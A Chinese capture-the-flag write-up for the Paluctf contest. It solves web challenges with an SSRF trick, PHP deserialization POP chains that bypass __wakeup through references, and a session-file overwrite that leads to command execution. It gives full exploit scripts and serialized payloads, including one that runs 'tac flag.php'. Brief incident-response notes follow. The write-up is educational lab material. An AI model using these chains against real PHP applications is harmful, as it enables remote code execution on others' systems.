这个帕鲁杯主要考的是应急响应,本人是一点不会,所以就写了几题web(写了前三题感觉难度不是特别大)和最简单的几题应急响应,由于其是靶机代理的形式搞得web靶机,web靶机一直掉(扫后台还慢)所以我web最后一题就懒的写了,就去玩应急响应了。

web-签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, jsonify
import requests
from flag import flag # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
url = request.args.get('url')
if url:
# 请求url
response = requests.get(url)
content = response.text
print(content)
if "paluctf" in content:
return flag
else:
return content
else:
response = {
'message': 200, # 这里是数值,不是字符串
'data': "Come sign in and get the flag!"
}
return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
return "paluctf"

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0", port=80)

签到题难度不高。

1
2
3
4
5
6
7
8
9
def getinfo():
url = request.args.get('url')
if url:
# 请求url
response = requests.get(url)
content = response.text
print(content)
if "paluctf" in content:
return flag

思路

我们可以看到只要让其访问的url响应里有paluctf就可以了。
一开始我是想ssrf来访问127.0.0.1的80端口的但是一直报错,所以我就直接开了vps服务让其访问,反正只要报文里只要有paluctf就行了。

实践

由于本人还不会再vps上搭网站,但是问题不大可以直接创建一个文件名为paluctf的文件,再开启访问使其可以再公网上被访问这样响应就会有paluctf了

1
2
echo aaaa > paluctf
python3 -m http.server


直接让其访问
payload
1
url=http://xxx.xxx.xxx.xxx:8000

即可得到flag

R23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
show_source(__FILE__);
class a{
public function __get($a){
$this->b->love();
}
}

class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
system($_GET['a']);
}
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
die("no");
}
unserialize($_GET['pop']);

难度也不高,一个反序列化,只禁了R:2和R:3(和没禁一样)

思路

明显是要触发xk的love函数,但是我们需要尝试绕过wakeup。

1
2
3
4
5
6
7
8
9
class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

我们先讲一下什么是引用
如下代码
1
$a=&$c

这个就代表了$a$c的引用,即他们指向同一个内存,即他们的值会一直相同改a的值c会变反之亦然。
链子很短
1
b->a->xk

看到这个第一眼就感觉可以使用引用来绕过,在反序列化时会先调用wakeup然后才会调用destruct$a我们看到c会被赋值为no那么我们只要使用引用江c设置为b的引用,那么在后一句对b的赋值时就会成功再一次的对c赋值。这样我们触发destruct时c就为a的值我们可以将啊设置为对象。
exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class a{
public $b;
public function __get($a){
$this->b->love();
}
}

class b{
public $a;
public $b;
public $c;
public $name="aaa";

public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public $a;
public function love(){
}
}
$a=new b();
$a->a=new a();
$a->c=&$a->b;
$a->a->b=new xk();
$a->a->b->a="ls";
$b=serialize($a);
echo $b;

由于其只禁了R2R3
我们只要在属性b前面对塞几个属性,即可以变成R5R6之类的反正属性也没什么用

my love

哈哈这题就有意思了,写这题的时候学到了一些关于php session的知识。知道了php的session竟然是以文件的形式进行存储的。下面的学习的文章我就直接贴出来了。phpsession

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

class a{
public function __get($a){
$this->b->love();
}
}

class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}

if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}

}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}

打开会发现其发生了phpinfo的泄露(但其实没这个必要以为反序列化都可以看到的,直接把题目逼格下一个档次)。那我们能看到信息可就多了。
我们先审计一下这个代码,还是反序列化,但是主要考点是一下这串代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}

}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}

可以发现其要求$_GET['test']的最后一个字符为N,而后赋值给$tmp,最后判断$$tmp['name']=='your are good!'我们可以发现其存在变量覆盖,我们只要将$tmp赋值为_SESSION那么$$tmp[name]就是超全局变量$_SESSION[name]而这个值时存储在文件里的,只要能对文件进行修改那么就可以修改$_SESSION[name]的值。

那么我们看一下反序列化的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class a{
public function __get($a){
$this->b->love();
}
}

class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}

可以发现其存在下面两个类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}

class end{
public function love(){
($this->func)();
}
}

xk类存在一个文件写入函数
end类可以触发一个无参函数。
而要开启session需要使用session_start函数
那么思路就很清楚了

就是先反序列化触发sessionstart再抓包查看PHPSESSID,然后触发文件写入函数来修改session文件(文件内容我们可以再本地自己定义一个$_SESSION[name]=your are good!),session文件名为sess加上PHPSESEID,之后就是向tmp传入_SESSION,这样就可以通过前面的判断进行命令执行了。

下面是两个pop链的构造exp,构造难度不高考点和上一题一样我就不过多赘述了
触发session_start()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class a{
public $b;
public function __get($a){
$this->b->love();
}
}

class b{
public $name;
public $a;
public $b;
public $c;
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public $man="/var/lib/php/session/sess_84k8e3r5jr78om8diig6uia9br";
public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';
public function love(){
$a = $this->mylove;
}

}
class end{
public $func;
public function love(){
($this->func)();
}
}
$a=new b();
$a->c=&$a->b;
$a->a=new a();
$a->name="lalala";
$a->a->b=new end();
$a->a->b->func="session_start";
$b=serialize($a);
echo $b;
unserialize($b);

文件写入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class a{
public $b;
public function __get($a){
$this->b->love();
}
}

class b{
public $name;
public $a;
public $b;
public $c;
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public $man="/var/lib/php/session/sess_84k8e3r5jr78om8diig6uia9br";
public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';
public function love(){
$a = $this->mylove;
}

}
class end{
public $func;
public function love(){
($this->func)();
}
}
$a=new b();
$a->c=&$a->b;
$a->a=new a();
$a->name="lalala";
$a->a->b=new xk();
$b=serialize($a);
echo $b;
unserialize($b);

之后就是按之前的思路来打了。
文件写入的内容如下
1
name|s:14:"your are good!";base64编码后就是bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7

payload

1
2
3
4
5
O:1:"b":4:{s:4:"name";s:6:"lalala";s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}

O:1:"b":4:{s:4:"name";s:6:"lalala";s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:52:"/var/lib/php/session/sess_84k8e3r5jr78om8diig6uia9br";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;}

O:1:"b":4:{s:4:"name";s:6:"lalala";s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}&test=_SESSION&shell=tac%20flag.php

应急响应-1

在标签列表里有flag

应急响应-3

服务器的命令记录全是这个ip

应急响应-4

我们看waf的拦截记录可以明显发现这是一个rce漏洞
在网上搜jumpserver rce漏洞就可以找到这个cve

Misc-签到

题目有提示,是ascii码值
我们将给的数字转为16进制在用网上现成的工具即可得到下面的结果